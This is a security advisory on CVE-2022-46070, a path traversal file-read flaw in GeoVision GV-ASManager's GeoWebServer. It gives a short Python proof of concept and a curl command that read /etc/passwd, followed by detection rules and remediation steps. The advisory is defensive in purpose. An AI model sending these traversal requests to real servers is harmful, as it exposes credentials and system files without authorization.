CVE-2022-46070

Executive Summary

CVE-2022-46070 is a Local File Inclusion (LFI) vulnerability affecting GeoVision GV-ASManager version 6.0.1.0. The flaw resides in the GeoWebServer component, which improperly handles path traversal sequences in HTTP requests. An unauthenticated attacker can exploit this to read arbitrary files from the server filesystem, potentially exposing sensitive configuration data, credentials, or other critical assets. No official patch has been released, and the vulnerability is publicly documented with proof-of-concept code available.

CVSS Breakdown & Threat Level

The NVD CVSS score is listed as 0.0, likely due to incomplete scoring data. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): None (N)
• Availability (A): None (N)

Estimated CVSS Score: 7.5 (High)

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can lead to full disclosure of server-side files.

Deep Dive & Mechanics

The GeoWebServer component in GV-ASManager is a web interface used for managing access control systems. The LFI vulnerability arises from insufficient sanitization of user-supplied path parameters. By injecting path traversal sequences (e.g., ../), an attacker can navigate outside the web root and read arbitrary files.

Root Cause: The application fails to validate or restrict file paths passed to file-reading functions. This allows an attacker to request files like ../../../../etc/passwd or ../../../../windows/win.ini.

Impact: An attacker can:

• Read system configuration files (e.g., /etc/passwd, /etc/shadow).
• Extract application source code or database credentials.
• Access sensitive logs or private keys.
• Potentially pivot to further attacks using disclosed information.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Example of vulnerable pseudo-code
def handle_request(request):
    file_path = request.get_parameter("file")
    # No sanitization
    content = open(file_path, "r").read()
    return content

Patched Code (Conceptual):

import os

def handle_request(request):
    file_path = request.get_parameter("file")
    # Sanitize: resolve path and ensure it's within allowed directory
    base_dir = "/var/www/geowebserver"
    full_path = os.path.realpath(os.path.join(base_dir, file_path))
    if not full_path.startswith(base_dir):
        return "Access denied"
    content = open(full_path, "r").read()
    return content

Note: No official patch has been released by GeoVision. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Proof-of-Concept Exploit:

import requests

target = "http://<target_ip>:<port>/GeoWebServer"
payload = "../../../../etc/passwd"
url = f"{target}?file={payload}"

response = requests.get(url)
print(response.text)

Manual Exploitation:

curl "http://<target_ip>:<port>/GeoWebServer?file=../../../../etc/passwd"

Lab Setup:

1. Install GV-ASManager v6.0.1.0 on a Windows or Linux server.
2. Ensure GeoWebServer is running on a default port (e.g., 80 or 8080).
3. Use the above exploit to read /etc/passwd (Linux) or C:\Windows\win.ini (Windows).

Blue Team

Detection Steps:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e%2f).
• Deploy WAF rules to block requests containing ../ or encoded variants.
• Use file integrity monitoring to detect unauthorized file access.

Honeypot Strategy:

• Create a fake sensitive file (e.g., /var/www/geowebserver/secret.txt) and monitor for access attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests with file=../../../../ or similar patterns.
  • Requests to /GeoWebServer with unusual path parameters.
• File IOCs:
  • Unexpected access to /etc/passwd, /etc/shadow, C:\Windows\win.ini, or application config files.
• Log IOCs:
  • Web server logs showing 404 or 200 responses for path traversal attempts.

Detection Engineering

YARA Rule

rule CVE_2022_46070_LFI_GeoVision {
    meta:
        description = "Detects LFI attempts targeting GeoVision GV-ASManager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-46070"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
        $geowebserver = "GeoWebServer" nocase
    condition:
        $geowebserver and $path_traversal
}

Sigma Rule

title: CVE-2022-46070 LFI Attempt on GeoVision GV-ASManager
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts in HTTP requests to GeoWebServer
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'file=../'
            - 'file=%2e%2e%2f'
            - 'file=..\\'
            - 'file=%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-46070 GeoVision GV-ASManager LFI Attempt"; flow:to_server; content:"GET"; http_method; content:"/GeoWebServer"; http_uri; content:"file="; http_uri; pcre:"/(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the GV-ASManager server from untrusted networks.
2. Apply a virtual patch using a WAF to block path traversal patterns.
3. Restrict file system permissions to limit the impact of LFI.

Long-Term Fix:

• Since no official patch exists, consider upgrading to a newer version if available, or implement input validation as shown in the patched code example.
• Contact GeoVision support for a security update.

Workaround:

• Disable GeoWebServer if not required, or restrict access via firewall rules to trusted IPs only.

Valters IT